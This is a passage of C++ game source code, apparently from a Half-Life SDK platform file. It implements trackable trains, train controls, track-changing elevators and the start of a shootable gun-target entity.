m_flVolume = (float) (atoi(pkvd->szValue));
m_flVolume *= 0.1;
pkvd->fHandled = TRUE;
}
else if (FStrEq(pkvd->szKeyName, "bank"))
{
m_flBank = atof(pkvd->szValue);
pkvd->fHandled = TRUE;
}
else
CBaseEntity::KeyValue( pkvd );
}
void CFuncTrackTrain :: NextThink( float thinkTime, BOOL alwaysThink )
{
if ( alwaysThink )
pev->flags |= FL_ALWAYSTHINK;
else
pev->flags &= ~FL_ALWAYSTHINK;
pev->nextthink = thinkTime;
}
void CFuncTrackTrain :: Blocked( CBaseEntity *pOther )
{
entvars_t *pevOther = pOther->pev;
// Blocker is on-ground on the train
if ( FBitSet( pevOther->flags, FL_ONGROUND ) && VARS(pevOther->groundentity) == pev )
{
float deltaSpeed = fabs(pev->speed);
if ( deltaSpeed > 50 )
deltaSpeed = 50;
if ( !pevOther->velocity.z )
pevOther->velocity.z += deltaSpeed;
return;
}
else
pevOther->velocity = (pevOther->origin - pev->origin ).Normalize() * pev->dmg;
ALERT( at_aiconsole, "TRAIN(%s): Blocked by %s (dmg:%.2f)\n", STRING(pev->targetname), STRING(pOther->pev->classname), pev->dmg );
if ( pev->dmg <= 0 )
return;
// we can't hurt this thing, so we're not concerned with it
pOther->TakeDamage(pev, pev, pev->dmg, DMG_CRUSH);
}
void CFuncTrackTrain :: Use( CBaseEntity *pActivator, CBaseEntity *pCaller, USE_TYPE useType, float value )
{
if ( useType != USE_SET )
{
if ( !ShouldToggle( useType, (pev->speed != 0) ) )
return;
if ( pev->speed == 0 )
{
pev->speed = m_speed * m_dir;
Next();
}
else
{
pev->speed = 0;
pev->velocity = g_vecZero;
pev->avelocity = g_vecZero;
StopSound();
SetThink( NULL );
}
}
else
{
float delta = value;
delta = ((int)(pev->speed * 4) / (int)m_speed)*0.25 + 0.25 * delta;
if ( delta > 1 )
delta = 1;
else if ( delta < -1 )
delta = -1;
if ( pev->spawnflags & SF_TRACKTRAIN_FORWARDONLY )
{
if ( delta < 0 )
delta = 0;
}
pev->speed = m_speed * delta;
Next();
ALERT( at_aiconsole, "TRAIN(%s), speed to %.2f\n", STRING(pev->targetname), pev->speed );
}
}
static float Fix( float angle )
{
while ( angle < 0 )
angle += 360;
while ( angle > 360 )
angle -= 360;
return angle;
}
static void FixupAngles( Vector &v )
{
v.x = Fix( v.x );
v.y = Fix( v.y );
v.z = Fix( v.z );
}
#define TRAIN_STARTPITCH 60
#define TRAIN_MAXPITCH 200
#define TRAIN_MAXSPEED 1000 // approx max speed for sound pitch calculation
void CFuncTrackTrain :: StopSound( void )
{
// if sound playing, stop it
if (m_soundPlaying && pev->noise)
{
unsigned short us_encode;
unsigned short us_sound = ( ( unsigned short )( m_sounds ) & 0x0007 ) << 12;
us_encode = us_sound;
PLAYBACK_EVENT_FULL( FEV_RELIABLE | FEV_UPDATE, edict(), m_usAdjustPitch, 0.0,
(float *)&g_vecZero, (float *)&g_vecZero, 0.0, 0.0, us_encode, 0, 1, 0 );
/*
STOP_SOUND(ENT(pev), CHAN_STATIC, (char*)STRING(pev->noise));
*/
EMIT_SOUND_DYN(ENT(pev), CHAN_ITEM, "plats/ttrain_brake1.wav", m_flVolume, ATTN_NORM, 0, 100);
}
m_soundPlaying = 0;
}
// update pitch based on speed, start sound if not playing
// NOTE: when train goes through transition, m_soundPlaying should go to 0,
// which will cause the looped sound to restart.
void CFuncTrackTrain :: UpdateSound( void )
{
float flpitch;
if (!pev->noise)
return;
flpitch = TRAIN_STARTPITCH + (fabs(pev->speed) * (TRAIN_MAXPITCH - TRAIN_STARTPITCH) / TRAIN_MAXSPEED);
if (!m_soundPlaying)
{
// play startup sound for train
EMIT_SOUND_DYN(ENT(pev), CHAN_ITEM, "plats/ttrain_start1.wav", m_flVolume, ATTN_NORM, 0, 100);
EMIT_SOUND_DYN(ENT(pev), CHAN_STATIC, (char*)STRING(pev->noise), m_flVolume, ATTN_NORM, 0, (int) flpitch);
m_soundPlaying = 1;
}
else
{
/*
// update pitch
EMIT_SOUND_DYN(ENT(pev), CHAN_STATIC, (char*)STRING(pev->noise), m_flVolume, ATTN_NORM, SND_CHANGE_PITCH, (int) flpitch);
*/
// volume 0.0 - 1.0 - 6 bits
// m_sounds 3 bits
// flpitch = 6 bits
// 15 bits total
unsigned short us_encode;
unsigned short us_sound = ( ( unsigned short )( m_sounds ) & 0x0007 ) << 12;
unsigned short us_pitch = ( ( unsigned short )( flpitch / 10.0 ) & 0x003f ) << 6;
unsigned short us_volume = ( ( unsigned short )( m_flVolume * 40.0 ) & 0x003f );
us_encode = us_sound | us_pitch | us_volume;
PLAYBACK_EVENT_FULL( FEV_RELIABLE | FEV_UPDATE, edict(), m_usAdjustPitch, 0.0,
(float *)&g_vecZero, (float *)&g_vecZero, 0.0, 0.0, us_encode, 0, 0, 0 );
}
}
void CFuncTrackTrain :: Next( void )
{
float time = 0.5;
if ( !pev->speed )
{
ALERT( at_aiconsole, "TRAIN(%s): Speed is 0\n", STRING(pev->targetname) );
StopSound();
return;
}
// if ( !m_ppath )
// m_ppath = CPathTrack::Instance(FIND_ENTITY_BY_TARGETNAME( NULL, STRING(pev->target) ));
if ( !m_ppath )
{
ALERT( at_aiconsole, "TRAIN(%s): Lost path\n", STRING(pev->targetname) );
StopSound();
return;
}
UpdateSound();
Vector nextPos = pev->origin;
nextPos.z -= m_height;
CPathTrack *pnext = m_ppath->LookAhead( &nextPos, pev->speed * 0.1, 1 );
nextPos.z += m_height;
pev->velocity = (nextPos - pev->origin) * 10;
Vector nextFront = pev->origin;
nextFront.z -= m_height;
if ( m_length > 0 )
m_ppath->LookAhead( &nextFront, m_length, 0 );
else
m_ppath->LookAhead( &nextFront, 100, 0 );
nextFront.z += m_height;
Vector delta = nextFront - pev->origin;
Vector angles = UTIL_VecToAngles( delta );
// The train actually points west
angles.y += 180;
// !!! All of this crap has to be done to make the angles not wrap around, revisit this.
FixupAngles( angles );
FixupAngles( pev->angles );
if ( !pnext || (delta.x == 0 && delta.y == 0) )
angles = pev->angles;
float vy, vx;
if ( !(pev->spawnflags & SF_TRACKTRAIN_NOPITCH) )
vx = UTIL_AngleDistance( angles.x, pev->angles.x );
else
vx = 0;
vy = UTIL_AngleDistance( angles.y, pev->angles.y );
pev->avelocity.y = vy * 10;
pev->avelocity.x = vx * 10;
if ( m_flBank != 0 )
{
if ( pev->avelocity.y < -5 )
pev->avelocity.z = UTIL_AngleDistance( UTIL_ApproachAngle( -m_flBank, pev->angles.z, m_flBank*2 ), pev->angles.z);
else if ( pev->avelocity.y > 5 )
pev->avelocity.z = UTIL_AngleDistance( UTIL_ApproachAngle( m_flBank, pev->angles.z, m_flBank*2 ), pev->angles.z);
else
pev->avelocity.z = UTIL_AngleDistance( UTIL_ApproachAngle( 0, pev->angles.z, m_flBank*4 ), pev->angles.z) * 4;
}
if ( pnext )
{
if ( pnext != m_ppath )
{
CPathTrack *pFire;
if ( pev->speed >= 0 )
pFire = pnext;
else
pFire = m_ppath;
m_ppath = pnext;
// Fire the pass target if there is one
if ( pFire->pev->message )
{
FireTargets( STRING(pFire->pev->message), this, this, USE_TOGGLE, 0 );
if ( FBitSet( pFire->pev->spawnflags, SF_PATH_FIREONCE ) )
pFire->pev->message = 0;
}
if ( pFire->pev->spawnflags & SF_PATH_DISABLE_TRAIN )
pev->spawnflags |= SF_TRACKTRAIN_NOCONTROL;
// Don't override speed if under user control
if ( pev->spawnflags & SF_TRACKTRAIN_NOCONTROL )
{
if ( pFire->pev->speed != 0 )
{// don't copy speed from target if it is 0 (uninitialized)
pev->speed = pFire->pev->speed;
ALERT( at_aiconsole, "TrackTrain %s speed to %4.2f\n", STRING(pev->targetname), pev->speed );
}
}
}
SetThink( &CFuncTrackTrain::Next );
NextThink( pev->ltime + time, TRUE );
}
else // end of path, stop
{
StopSound();
pev->velocity = (nextPos - pev->origin);
pev->avelocity = g_vecZero;
float distance = pev->velocity.Length();
m_oldSpeed = pev->speed;
pev->speed = 0;
// Move to the dead end
// Are we there yet?
if ( distance > 0 )
{
// no, how long to get there?
time = distance / m_oldSpeed;
pev->velocity = pev->velocity * (m_oldSpeed / distance);
SetThink( &CFuncTrackTrain::DeadEnd );
NextThink( pev->ltime + time, FALSE );
}
else
{
DeadEnd();
}
}
}
void CFuncTrackTrain::DeadEnd( void )
{
// Fire the dead-end target if there is one
CPathTrack *pTrack, *pNext;
pTrack = m_ppath;
ALERT( at_aiconsole, "TRAIN(%s): Dead end ", STRING(pev->targetname) );
// Find the dead end path node
// HACKHACK -- This is bugly, but the train can actually stop moving at a different node depending on it's speed
// so we have to traverse the list to it's end.
if ( pTrack )
{
if ( m_oldSpeed < 0 )
{
do
{
pNext = pTrack->ValidPath( pTrack->GetPrevious(), TRUE );
if ( pNext )
pTrack = pNext;
} while ( pNext );
}
else
{
do
{
pNext = pTrack->ValidPath( pTrack->GetNext(), TRUE );
if ( pNext )
pTrack = pNext;
} while ( pNext );
}
}
pev->velocity = g_vecZero;
pev->avelocity = g_vecZero;
if ( pTrack )
{
ALERT( at_aiconsole, "at %s\n", STRING(pTrack->pev->targetname) );
if ( pTrack->pev->netname )
FireTargets( STRING(pTrack->pev->netname), this, this, USE_TOGGLE, 0 );
}
else
ALERT( at_aiconsole, "\n" );
}
void CFuncTrackTrain :: SetControls( entvars_t *pevControls )
{
Vector offset = pevControls->origin - pev->oldorigin;
m_controlMins = pevControls->mins + offset;
m_controlMaxs = pevControls->maxs + offset;
}
BOOL CFuncTrackTrain :: OnControls( entvars_t *pevTest )
{
Vector offset = pevTest->origin - pev->origin;
if ( pev->spawnflags & SF_TRACKTRAIN_NOCONTROL )
return FALSE;
// Transform offset into local coordinates
UTIL_MakeVectors( pev->angles );
Vector local;
local.x = DotProduct( offset, gpGlobals->v_forward );
local.y = -DotProduct( offset, gpGlobals->v_right );
local.z = DotProduct( offset, gpGlobals->v_up );
if ( local.x >= m_controlMins.x && local.y >= m_controlMins.y && local.z >= m_controlMins.z &&
local.x <= m_controlMaxs.x && local.y <= m_controlMaxs.y && local.z <= m_controlMaxs.z )
return TRUE;
return FALSE;
}
void CFuncTrackTrain :: Find( void )
{
m_ppath = CPathTrack::Instance(FIND_ENTITY_BY_TARGETNAME( NULL, STRING(pev->target) ));
if ( !m_ppath )
return;
entvars_t *pevTarget = m_ppath->pev;
if ( !FClassnameIs( pevTarget, "path_track" ) )
{
ALERT( at_error, "func_track_train must be on a path of path_track\n" );
m_ppath = NULL;
return;
}
Vector nextPos = pevTarget->origin;
nextPos.z += m_height;
Vector look = nextPos;
look.z -= m_height;
m_ppath->LookAhead( &look, m_length, 0 );
look.z += m_height;
pev->angles = UTIL_VecToAngles( look - nextPos );
// The train actually points west
pev->angles.y += 180;
if ( pev->spawnflags & SF_TRACKTRAIN_NOPITCH )
pev->angles.x = 0;
UTIL_SetOrigin( pev, nextPos );
NextThink( pev->ltime + 0.1, FALSE );
SetThink( &CFuncTrackTrain::Next );
pev->speed = m_startSpeed;
UpdateSound();
}
void CFuncTrackTrain :: NearestPath( void )
{
CBaseEntity *pTrack = NULL;
CBaseEntity *pNearest = NULL;
float dist, closest;
closest = 1024;
while ((pTrack = UTIL_FindEntityInSphere( pTrack, pev->origin, 1024 )) != NULL)
{
// filter out non-tracks
if ( !(pTrack->pev->flags & (FL_CLIENT|FL_MONSTER)) && FClassnameIs( pTrack->pev, "path_track" ) )
{
dist = (pev->origin - pTrack->pev->origin).Length();
if ( dist < closest )
{
closest = dist;
pNearest = pTrack;
}
}
}
if ( !pNearest )
{
ALERT( at_console, "Can't find a nearby track !!!\n" );
SetThink(NULL);
return;
}
ALERT( at_aiconsole, "TRAIN: %s, Nearest track is %s\n", STRING(pev->targetname), STRING(pNearest->pev->targetname) );
// If I'm closer to the next path_track on this path, then it's my real path
pTrack = ((CPathTrack *)pNearest)->GetNext();
if ( pTrack )
{
if ( (pev->origin - pTrack->pev->origin).Length() < (pev->origin - pNearest->pev->origin).Length() )
pNearest = pTrack;
}
m_ppath = (CPathTrack *)pNearest;
if ( pev->speed != 0 )
{
NextThink( pev->ltime + 0.1, FALSE );
SetThink( &CFuncTrackTrain::Next );
}
}
void CFuncTrackTrain::OverrideReset( void )
{
NextThink( pev->ltime + 0.1, FALSE );
SetThink( &CFuncTrackTrain::NearestPath );
}
CFuncTrackTrain *CFuncTrackTrain::Instance( edict_t *pent )
{
if ( FClassnameIs( pent, "func_tracktrain" ) )
return (CFuncTrackTrain *)GET_PRIVATE(pent);
return NULL;
}
/*QUAKED func_train (0 .5 .8) ?
Trains are moving platforms that players can ride.
The targets origin specifies the min point of the train at each corner.
The train spawns at the first target it is pointing at.
If the train is the target of a button or trigger, it will not begin moving until activated.
speed default 100
dmg default 2
sounds
1) ratchet metal
*/
void CFuncTrackTrain :: Spawn( void )
{
if ( pev->speed == 0 )
m_speed = 100;
else
m_speed = pev->speed;
pev->speed = 0;
pev->velocity = g_vecZero;
pev->avelocity = g_vecZero;
pev->impulse = m_speed;
m_dir = 1;
if ( FStringNull(pev->target) )
ALERT( at_console, "FuncTrain with no target" );
if ( pev->spawnflags & SF_TRACKTRAIN_PASSABLE )
pev->solid = SOLID_NOT;
else
pev->solid = SOLID_BSP;
pev->movetype = MOVETYPE_PUSH;
SET_MODEL( ENT(pev), STRING(pev->model) );
UTIL_SetSize( pev, pev->mins, pev->maxs );
UTIL_SetOrigin( pev, pev->origin );
// Cache off placed origin for train controls
pev->oldorigin = pev->origin;
m_controlMins = pev->mins;
m_controlMaxs = pev->maxs;
m_controlMaxs.z += 72;
// start trains on the next frame, to make sure their targets have had
// a chance to spawn/activate
NextThink( pev->ltime + 0.1, FALSE );
SetThink( &CFuncTrackTrain::Find );
Precache();
}
void CFuncTrackTrain :: Precache( void )
{
if (m_flVolume == 0.0)
m_flVolume = 1.0;
switch (m_sounds)
{
default:
// no sound
pev->noise = 0;
break;
case 1: PRECACHE_SOUND("plats/ttrain1.wav"); pev->noise = MAKE_STRING("plats/ttrain1.wav");break;
case 2: PRECACHE_SOUND("plats/ttrain2.wav"); pev->noise = MAKE_STRING("plats/ttrain2.wav");break;
case 3: PRECACHE_SOUND("plats/ttrain3.wav"); pev->noise = MAKE_STRING("plats/ttrain3.wav");break;
case 4: PRECACHE_SOUND("plats/ttrain4.wav"); pev->noise = MAKE_STRING("plats/ttrain4.wav");break;
case 5: PRECACHE_SOUND("plats/ttrain6.wav"); pev->noise = MAKE_STRING("plats/ttrain6.wav");break;
case 6: PRECACHE_SOUND("plats/ttrain7.wav"); pev->noise = MAKE_STRING("plats/ttrain7.wav");break;
}
PRECACHE_SOUND("plats/ttrain_brake1.wav");
PRECACHE_SOUND("plats/ttrain_start1.wav");
m_usAdjustPitch = PRECACHE_EVENT( 1, "events/train.sc" );
}
// This class defines the volume of space that the player must stand in to control the train
class CFuncTrainControls : public CBaseEntity
{
public:
virtual int ObjectCaps( void ) { return CBaseEntity :: ObjectCaps() & ~FCAP_ACROSS_TRANSITION; }
void Spawn( void );
void EXPORT Find( void );
};
LINK_ENTITY_TO_CLASS( func_traincontrols, CFuncTrainControls );
void CFuncTrainControls :: Find( void )
{
edict_t *pTarget = NULL;
do
{
pTarget = FIND_ENTITY_BY_TARGETNAME( pTarget, STRING(pev->target) );
} while ( !FNullEnt(pTarget) && !FClassnameIs(pTarget, "func_tracktrain") );
if ( FNullEnt( pTarget ) )
{
ALERT( at_console, "No train %s\n", STRING(pev->target) );
return;
}
CFuncTrackTrain *ptrain = CFuncTrackTrain::Instance(pTarget);
ptrain->SetControls( pev );
UTIL_Remove( this );
}
void CFuncTrainControls :: Spawn( void )
{
pev->solid = SOLID_NOT;
pev->movetype = MOVETYPE_NONE;
SET_MODEL( ENT(pev), STRING(pev->model) );
UTIL_SetSize( pev, pev->mins, pev->maxs );
UTIL_SetOrigin( pev, pev->origin );
SetThink(&CFuncTrainControls::Find );
pev->nextthink = gpGlobals->time;
}
// ----------------------------------------------------------------------------
//
// Track changer / Train elevator
//
// ----------------------------------------------------------------------------
#define SF_TRACK_ACTIVATETRAIN 0x00000001
#define SF_TRACK_RELINK 0x00000002
#define SF_TRACK_ROTMOVE 0x00000004
#define SF_TRACK_STARTBOTTOM 0x00000008
#define SF_TRACK_DONT_MOVE 0x00000010
//
// This entity is a rotating/moving platform that will carry a train to a new track.
// It must be larger in X-Y planar area than the train, since it must contain the
// train within these dimensions in order to operate when the train is near it.
//
typedef enum { TRAIN_SAFE, TRAIN_BLOCKING, TRAIN_FOLLOWING } TRAIN_CODE;
class CFuncTrackChange : public CFuncPlatRot
{
public:
void Spawn( void );
void Precache( void );
// virtual void Blocked( void );
virtual void EXPORT GoUp( void );
virtual void EXPORT GoDown( void );
void KeyValue( KeyValueData* pkvd );
void Use( CBaseEntity *pActivator, CBaseEntity *pCaller, USE_TYPE useType, float value );
void EXPORT Find( void );
TRAIN_CODE EvaluateTrain( CPathTrack *pcurrent );
void UpdateTrain( Vector &dest );
virtual void HitBottom( void );
virtual void HitTop( void );
void Touch( CBaseEntity *pOther );
virtual void UpdateAutoTargets( int toggleState );
virtual BOOL IsTogglePlat( void ) { return TRUE; }
void DisableUse( void ) { m_use = 0; }
void EnableUse( void ) { m_use = 1; }
int UseEnabled( void ) { return m_use; }
virtual int Save( CSave &save );
virtual int Restore( CRestore &restore );
static TYPEDESCRIPTION m_SaveData[];
virtual void OverrideReset( void );
CPathTrack *m_trackTop;
CPathTrack *m_trackBottom;
CFuncTrackTrain *m_train;
int m_trackTopName;
int m_trackBottomName;
int m_trainName;
TRAIN_CODE m_code;
int m_targetState;
int m_use;
};
LINK_ENTITY_TO_CLASS( func_trackchange, CFuncTrackChange );
TYPEDESCRIPTION CFuncTrackChange::m_SaveData[] =
{
DEFINE_GLOBAL_FIELD( CFuncTrackChange, m_trackTop, FIELD_CLASSPTR ),
DEFINE_GLOBAL_FIELD( CFuncTrackChange, m_trackBottom, FIELD_CLASSPTR ),
DEFINE_GLOBAL_FIELD( CFuncTrackChange, m_train, FIELD_CLASSPTR ),
DEFINE_GLOBAL_FIELD( CFuncTrackChange, m_trackTopName, FIELD_STRING ),
DEFINE_GLOBAL_FIELD( CFuncTrackChange, m_trackBottomName, FIELD_STRING ),
DEFINE_GLOBAL_FIELD( CFuncTrackChange, m_trainName, FIELD_STRING ),
DEFINE_FIELD( CFuncTrackChange, m_code, FIELD_INTEGER ),
DEFINE_FIELD( CFuncTrackChange, m_targetState, FIELD_INTEGER ),
DEFINE_FIELD( CFuncTrackChange, m_use, FIELD_INTEGER ),
};
IMPLEMENT_SAVERESTORE( CFuncTrackChange, CFuncPlatRot );
void CFuncTrackChange :: Spawn( void )
{
Setup();
if ( FBitSet( pev->spawnflags, SF_TRACK_DONT_MOVE ) )
m_vecPosition2.z = pev->origin.z;
SetupRotation();
if ( FBitSet( pev->spawnflags, SF_TRACK_STARTBOTTOM ) )
{
UTIL_SetOrigin (pev, m_vecPosition2);
m_toggle_state = TS_AT_BOTTOM;
pev->angles = m_start;
m_targetState = TS_AT_TOP;
}
else
{
UTIL_SetOrigin (pev, m_vecPosition1);
m_toggle_state = TS_AT_TOP;
pev->angles = m_end;
m_targetState = TS_AT_BOTTOM;
}
EnableUse();
pev->nextthink = pev->ltime + 2.0;
SetThink( &CFuncTrackChange::Find );
Precache();
}
void CFuncTrackChange :: Precache( void )
{
// Can't trigger sound
PRECACHE_SOUND( "buttons/button11.wav" );
CFuncPlatRot::Precache();
}
// UNDONE: Filter touches before re-evaluating the train.
void CFuncTrackChange :: Touch( CBaseEntity *pOther )
{
#if 0
TRAIN_CODE code;
entvars_t *pevToucher = pOther->pev;
#endif
}
void CFuncTrackChange :: KeyValue( KeyValueData *pkvd )
{
if ( FStrEq(pkvd->szKeyName, "train") )
{
m_trainName = ALLOC_STRING( pkvd->szValue );
pkvd->fHandled = TRUE;
}
else if ( FStrEq(pkvd->szKeyName, "toptrack") )
{
m_trackTopName = ALLOC_STRING( pkvd->szValue );
pkvd->fHandled = TRUE;
}
else if ( FStrEq(pkvd->szKeyName, "bottomtrack") )
{
m_trackBottomName = ALLOC_STRING( pkvd->szValue );
pkvd->fHandled = TRUE;
}
else
{
CFuncPlatRot::KeyValue( pkvd ); // Pass up to base class
}
}
void CFuncTrackChange::OverrideReset( void )
{
pev->nextthink = pev->ltime + 1.0;
SetThink( &CFuncTrackChange::Find );
}
void CFuncTrackChange :: Find( void )
{
// Find track entities
edict_t *target;
target = FIND_ENTITY_BY_TARGETNAME( NULL, STRING(m_trackTopName) );
if ( !FNullEnt(target) )
{
m_trackTop = CPathTrack::Instance( target );
target = FIND_ENTITY_BY_TARGETNAME( NULL, STRING(m_trackBottomName) );
if ( !FNullEnt(target) )
{
m_trackBottom = CPathTrack::Instance( target );
target = FIND_ENTITY_BY_TARGETNAME( NULL, STRING(m_trainName) );
if ( !FNullEnt(target) )
{
m_train = CFuncTrackTrain::Instance( FIND_ENTITY_BY_TARGETNAME( NULL, STRING(m_trainName) ) );
if ( !m_train )
{
ALERT( at_error, "Can't find train for track change! %s\n", STRING(m_trainName) );
return;
}
Vector center = (pev->absmin + pev->absmax) * 0.5;
m_trackBottom = m_trackBottom->Nearest( center );
m_trackTop = m_trackTop->Nearest( center );
UpdateAutoTargets( m_toggle_state );
SetThink( NULL );
return;
}
else
{
ALERT( at_error, "Can't find train for track change! %s\n", STRING(m_trainName) );
target = FIND_ENTITY_BY_TARGETNAME( NULL, STRING(m_trainName) );
}
}
else
ALERT( at_error, "Can't find bottom track for track change! %s\n", STRING(m_trackBottomName) );
}
else
ALERT( at_error, "Can't find top track for track change! %s\n", STRING(m_trackTopName) );
}
TRAIN_CODE CFuncTrackChange :: EvaluateTrain( CPathTrack *pcurrent )
{
// Go ahead and work, we don't have anything to switch, so just be an elevator
if ( !pcurrent || !m_train )
return TRAIN_SAFE;
if ( m_train->m_ppath == pcurrent || (pcurrent->m_pprevious && m_train->m_ppath == pcurrent->m_pprevious) ||
(pcurrent->m_pnext && m_train->m_ppath == pcurrent->m_pnext) )
{
if ( m_train->pev->speed != 0 )
return TRAIN_BLOCKING;
Vector dist = pev->origin - m_train->pev->origin;
float length = dist.Length2D();
if ( length < m_train->m_length ) // Empirically determined close distance
return TRAIN_FOLLOWING;
else if ( length > (150 + m_train->m_length) )
return TRAIN_SAFE;
return TRAIN_BLOCKING;
}
return TRAIN_SAFE;
}
void CFuncTrackChange :: UpdateTrain( Vector &dest )
{
float time = (pev->nextthink - pev->ltime);
m_train->pev->velocity = pev->velocity;
m_train->pev->avelocity = pev->avelocity;
m_train->NextThink( m_train->pev->ltime + time, FALSE );
// Attempt at getting the train to rotate properly around the origin of the trackchange
if ( time <= 0 )
return;
Vector offset = m_train->pev->origin - pev->origin;
Vector delta = dest - pev->angles;
// Transform offset into local coordinates
UTIL_MakeInvVectors( delta, gpGlobals );
Vector local;
local.x = DotProduct( offset, gpGlobals->v_forward );
local.y = DotProduct( offset, gpGlobals->v_right );
local.z = DotProduct( offset, gpGlobals->v_up );
local = local - offset;
m_train->pev->velocity = pev->velocity + (local * (1.0/time));
}
void CFuncTrackChange :: GoDown( void )
{
if ( m_code == TRAIN_BLOCKING )
return;
// HitBottom may get called during CFuncPlat::GoDown(), so set up for that
// before you call GoDown()
UpdateAutoTargets( TS_GOING_DOWN );
// If ROTMOVE, move & rotate
if ( FBitSet( pev->spawnflags, SF_TRACK_DONT_MOVE ) )
{
SetMoveDone( &CFuncTrackChange::CallHitBottom );
m_toggle_state = TS_GOING_DOWN;
AngularMove( m_start, pev->speed );
}
else
{
CFuncPlat :: GoDown();
SetMoveDone( &CFuncTrackChange::CallHitBottom );
RotMove( m_start, pev->nextthink - pev->ltime );
}
// Otherwise, rotate first, move second
// If the train is moving with the platform, update it
if ( m_code == TRAIN_FOLLOWING )
{
UpdateTrain( m_start );
m_train->m_ppath = NULL;
}
}
//
// Platform is at bottom, now starts moving up
//
void CFuncTrackChange :: GoUp( void )
{
if ( m_code == TRAIN_BLOCKING )
return;
// HitTop may get called during CFuncPlat::GoUp(), so set up for that
// before you call GoUp();
UpdateAutoTargets( TS_GOING_UP );
if ( FBitSet( pev->spawnflags, SF_TRACK_DONT_MOVE ) )
{
m_toggle_state = TS_GOING_UP;
SetMoveDone( &CFuncTrackChange::CallHitTop );
AngularMove( m_end, pev->speed );
}
else
{
// If ROTMOVE, move & rotate
CFuncPlat :: GoUp();
SetMoveDone( &CFuncTrackChange::CallHitTop );
RotMove( m_end, pev->nextthink - pev->ltime );
}
// Otherwise, move first, rotate second
// If the train is moving with the platform, update it
if ( m_code == TRAIN_FOLLOWING )
{
UpdateTrain( m_end );
m_train->m_ppath = NULL;
}
}
// Normal track change
void CFuncTrackChange :: UpdateAutoTargets( int toggleState )
{
if ( !m_trackTop || !m_trackBottom )
return;
if ( toggleState == TS_AT_TOP )
ClearBits( m_trackTop->pev->spawnflags, SF_PATH_DISABLED );
else
SetBits( m_trackTop->pev->spawnflags, SF_PATH_DISABLED );
if ( toggleState == TS_AT_BOTTOM )
ClearBits( m_trackBottom->pev->spawnflags, SF_PATH_DISABLED );
else
SetBits( m_trackBottom->pev->spawnflags, SF_PATH_DISABLED );
}
void CFuncTrackChange :: Use( CBaseEntity *pActivator, CBaseEntity *pCaller, USE_TYPE useType, float value )
{
if ( m_toggle_state != TS_AT_TOP && m_toggle_state != TS_AT_BOTTOM )
return;
// If train is in "safe" area, but not on the elevator, play alarm sound
if ( m_toggle_state == TS_AT_TOP )
m_code = EvaluateTrain( m_trackTop );
else if ( m_toggle_state == TS_AT_BOTTOM )
m_code = EvaluateTrain( m_trackBottom );
else
m_code = TRAIN_BLOCKING;
if ( m_code == TRAIN_BLOCKING )
{
// Play alarm and return
EMIT_SOUND(ENT(pev), CHAN_VOICE, "buttons/button11.wav", 1, ATTN_NORM);
return;
}
// Otherwise, it's safe to move
// If at top, go down
// at bottom, go up
DisableUse();
if (m_toggle_state == TS_AT_TOP)
GoDown();
else
GoUp();
}
//
// Platform has hit bottom. Stops and waits forever.
//
void CFuncTrackChange :: HitBottom( void )
{
CFuncPlatRot :: HitBottom();
if ( m_code == TRAIN_FOLLOWING )
{
// UpdateTrain();
m_train->SetTrack( m_trackBottom );
}
SetThink( NULL );
pev->nextthink = -1;
UpdateAutoTargets( m_toggle_state );
EnableUse();
}
//
// Platform has hit bottom. Stops and waits forever.
//
void CFuncTrackChange :: HitTop( void )
{
CFuncPlatRot :: HitTop();
if ( m_code == TRAIN_FOLLOWING )
{
// UpdateTrain();
m_train->SetTrack( m_trackTop );
}
// Don't let the plat go back down
SetThink( NULL );
pev->nextthink = -1;
UpdateAutoTargets( m_toggle_state );
EnableUse();
}
class CFuncTrackAuto : public CFuncTrackChange
{
public:
void Use( CBaseEntity *pActivator, CBaseEntity *pCaller, USE_TYPE useType, float value );
virtual void UpdateAutoTargets( int toggleState );
};
LINK_ENTITY_TO_CLASS( func_trackautochange, CFuncTrackAuto );
// Auto track change
void CFuncTrackAuto :: UpdateAutoTargets( int toggleState )
{
CPathTrack *pTarget, *pNextTarget;
if ( !m_trackTop || !m_trackBottom )
return;
if ( m_targetState == TS_AT_TOP )
{
pTarget = m_trackTop->GetNext();
pNextTarget = m_trackBottom->GetNext();
}
else
{
pTarget = m_trackBottom->GetNext();
pNextTarget = m_trackTop->GetNext();
}
if ( pTarget )
{
ClearBits( pTarget->pev->spawnflags, SF_PATH_DISABLED );
if ( m_code == TRAIN_FOLLOWING && m_train && m_train->pev->speed == 0 )
m_train->Use( this, this, USE_ON, 0 );
}
if ( pNextTarget )
SetBits( pNextTarget->pev->spawnflags, SF_PATH_DISABLED );
}
void CFuncTrackAuto :: Use( CBaseEntity *pActivator, CBaseEntity *pCaller, USE_TYPE useType, float value )
{
CPathTrack *pTarget;
if ( !UseEnabled() )
return;
if ( m_toggle_state == TS_AT_TOP )
pTarget = m_trackTop;
else if ( m_toggle_state == TS_AT_BOTTOM )
pTarget = m_trackBottom;
else
pTarget = NULL;
if ( FClassnameIs( pActivator->pev, "func_tracktrain" ) )
{
m_code = EvaluateTrain( pTarget );
// Safe to fire?
if ( m_code == TRAIN_FOLLOWING && m_toggle_state != m_targetState )
{
DisableUse();
if (m_toggle_state == TS_AT_TOP)
GoDown();
else
GoUp();
}
}
else
{
if ( pTarget )
pTarget = pTarget->GetNext();
if ( pTarget && m_train->m_ppath != pTarget && ShouldToggle( useType, m_targetState ) )
{
if ( m_targetState == TS_AT_TOP )
m_targetState = TS_AT_BOTTOM;
else
m_targetState = TS_AT_TOP;
}
UpdateAutoTargets( m_targetState );
}
}
// ----------------------------------------------------------
//
//
// pev->speed is the travel speed
// pev->health is current health
// pev->max_health is the amount to reset to each time it starts
#define FGUNTARGET_START_ON 0x0001
class CGunTarget : public CBaseMonster
{
public:
void Spawn( void );
void Activate( void );
void EXPORT Next( void );
void EXPORT Start( void );
void EXPORT Wait( void );
void Stop( void );
int BloodColor( void ) { return DONT_BLEED; }
int Classify( void ) { return CLASS_MACHINE; }
int TakeDamage( entvars_t *pevInflictor, entvars_t *pevAttacker, float flDamage, int bitsDamageType );
void Use( CBaseEntity *pActivator, CBaseEntity *pCaller, USE_TYPE useType, float value );
Vector BodyTarget( const Vector &posSrc ) { return pev->origin; }
virtual int ObjectCaps( void ) { return CBaseEntity :: ObjectCaps() & ~FCAP_ACROSS_TRANSITION; }
virtual int Save( CSave &save );
virtual int Restore( CRestore &restore );
static TYPEDESCRIPTION m_SaveData[];
private:
BOOL m_on;
};
LINK_ENTITY_TO_CLASS( func_guntarget, CGunTarget );
TYPEDESCRIPTION CGunTarget::m_SaveData[] =
{
DEFINE_FIELD( CGunTarget, m_on, FIELD_BOOLEAN ),
};
